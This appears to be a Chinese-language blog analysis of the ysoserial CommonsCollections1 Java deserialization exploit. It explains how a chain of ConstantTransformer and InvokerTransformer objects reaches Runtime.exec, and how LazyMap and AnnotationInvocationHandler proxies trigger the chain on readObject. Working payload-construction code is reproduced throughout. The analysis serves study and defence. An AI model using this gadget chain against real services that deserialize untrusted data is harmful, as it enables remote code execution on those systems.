Commons Collections
Java Collections Framework 是 JDK1.2 中添加的类库,提供了很多集合相关的数据结构、接口、算法等,并成为了 Java 中公认的集合处理标准。
Commons Collections 则是 Apache 开发的第三方库,扩展了 Java 标准集合库的功能特性。其中一个重要的特性是:
Transforming decorators that alter each object as it is added to the collection
Commons Collections 实现了一个 TransformedMap 类,该类是对 Java 标准数据结构 Map 接口的扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 类定义,Transformer 在 TransformedMap 实例化时作为参数传入。
org.apache.commons.collections.Transformer
这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,漏洞触发函数就是在于这个点。1
POC
首先看一下 CommonsCollections1#getObject 方法,该方法用来构造恶意对象:
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// 初始化ChainedTransformer
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// Transformer数组,构成恶意代码的关键
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
// 用于触发transformers的转化逻辑
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
上面的代码中,利用到的和 transformer 特性相关的类有 3 个:
- InvokerTransformer:通过反射机制实现转化,返回新实例。
- ConstantTransformer:将输入的常量原封不动地返回。
- ChainedTransformer:其 iTransformers 属性是一个 transformer 数组,可以依次执行每个元素的 transform 方法,且前一方法的返回值会作为后一方法的输入。
我们需要用到 InvokerTransformer#transform 中的反射机制来执行代码,该方法的关键逻辑如下:
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
input 是调用方法时的参数,而 iMethodName、iParamTypes、iArgs 属性受我们控制。不难看出,如果想要调用 Runtime#exec 来执行命令,需要满足以下条件:
- input 是 Runtime 类的实例
- this.iMethodName = “exec”
- this.iParamTypes = String.class
- this.iArgs = command
满足后三点并没有难度,因为这三个属性值都可以被序列化,完全由我们控制。但正常情况下,目标不可能用 Runtime 实例作为参数,我们需要想办法控制 input 的值。
另外要知道的是,Runtime 类使用了单例模式,所以它的构造函数是私有的,不能通过 new 来获取实例,只能通过 Runtime#getRuntime 方法。所以我们要解决的关键问题是使 input 等效于:
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))
ChainedTransformer
想要控制 input 的值,需要利用 ChainedTransformer 类,其关键的 transform 方法如下:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
this.iTransformers
属性是一个 transformer 数组,我们可以利用该属性多次执行
InvokerTransformer#transform 方法。由于执行方法的返回值会作为下一次执行的输入,而这个返回值我们是可以一定程度上控制的,以此来达到控制 input 值的目的。
换句话说,我们现在将目的巧妙地转换成使返回值:
method.invoke(input, this.iArgs);
等效于我们想要的 input 值:
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))
回顾一下 InvokerTransformer#transform:
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
现在是不是觉得,只要让 cls 变量等于 Runtime.class
就大功告成了呢。但仔细一想,这不就回到开头说的要 input 为 Runtime 类的实例吗😵
既然我们可以通过 ChainedTransformer#transform 控制 input 值,那想办法在前面的循环中使返回值是 Runtime 类的实例不就好了?比如利用前面提到的 ConstantTransformer 类:

只要在 transformer 数组添加元素 new ConstantTransformer(Runtime.getRuntime())
,下一次循环的输入就是 Runtime 实例。
然而 Runtime 类没有实现 Serializable 接口:

反射
我们没有办法让 Runtime 对象序列化,但可以序列化 Runtime.class
,也就是
java.lang.Class
的对象。假设将 input 的值设为 Runtime.class
,我们可以利用下面的语句得到 Runtime#getRuntime:
Class cls = input.getClass(); // cls == java.lang.Class
Method method = cls.getMethod("getMethod", paramTypes);
return method.invoke(input, new Object[] {"getRuntime", new Class[0] });
现在我们得到了 Runtime#getRuntime 的 Method 对象,再通过以下语句执行这个方法:
Class cls = input.getClass(); // input == Method(getRuntime)
Method method = cls.getMethod("invoke", paramTypes);
return method.invoke(input, args);
这里巧妙地利用 invoke 方法来执行 invoke 方法,目的是将 invoke 的执行对象和参数转化成我们能控制的 input 和 args 变量。
我们调试一下 ysoserial 的 poc,以便于理解。关键的 transformer 数组如下:
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
首先是 ConstantTransformer#transform 方法,返回 Runtime.class
:

第一次调用 InvokerTransformer#transform,获取 Runtime#getRuntime 的 Method 对象:


第二次调用 InvokerTransformer#transform,返回 Runtime 对象:


上图还注意到了 this.iArgs
第一个值是 null,这对应着 invoke 方法的第一个参数,按理来说这应该是目标方法所在的对象,也就是 Runtime 对象。

这里有一个知识点,当 invoke 调用的目标方法是静态方法时,第一个参数将无关紧要,目标类的相关信息已经在之前的步骤获取了。
比如在上面的执行流程中,第一次调用 InvokerTransformer#transform 获取
Runtime#getRuntime 时的 input 变量就是 Runtime.class
第三次调用 InvokerTransformer#transform,执行恶意代码:


现在我们只要调用 ChainedTransformer#transform,就能执行恶意代码了,剩下的问题就是怎么让目标自动调用这个方法了。
触发点
LazyMap
期望目标在反序列化过程中直接执行 ChainedTransformer#transform 是不太现实的,我们需要通过更常规的操作来触发这一方法,比如 Map 数据结构的相关操作。
正好 Commons Collections 中提供了两个类,TransformedMap 和 LazyMap。它们的作用有点相似,都可以修饰一个 Map 数据,当对该 Map 数据进行操作时会触发 transform 过程。
因为 ysoserial 中用的是 LazyMap,所以只分析一下它的利用方法。它的 get 方法如下:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
在第 3 行调用了一个 transform 方法,而 this.factory
可以在构造函数中赋值,我们将它设置为 ChainedTransformer 对象,然后想办法触发这个 get 方法。
AnnotaionInvocationHandler
AnnotaionInvocationHandler 类的反序列过程中有 Map 的相关操作,可以利用它来触发 LazyMap#get。注意,在 JDK8 之后它的 readObject 方法更新了(diff),下面的方法就用不了了。2
首先看一下 getObject 方法中的代码:

红框的代码利用了两层的动态代理来封装 lazyMap 对象,相关方法如下:

第一次调用 createMemoitizedProxy 生成 mapProxy 代理对象,将 lazyMap 赋给它的 handler 的 memberValues 属性。
第二次调用 createMemoizedInvocationHandler 生成 handler 对象,将 mapProxy 赋给 memberValues 属性。
关系大致如下:
handler.memberValues == mapProxy
mapProxy.handler.memberValues == lazyMap
反序列化
最后看一看反序列化的过程,也就是 AnnotaionInvocationHandler#readObject 的执行流程。

这时的 this.memberValues
是 mapProxy 代理对象,调用它的 entrySet 方法会执行其 handler
的 invoke 方法。
来到 AnnotationInvocationHandler#invoke,注意这时的 this 和之前是不同实例了,而
this.memberValues
就是 lazyMap 对象。

可以看到在 invoke 方法这调用了 lazyMap#get,成功执行命令。
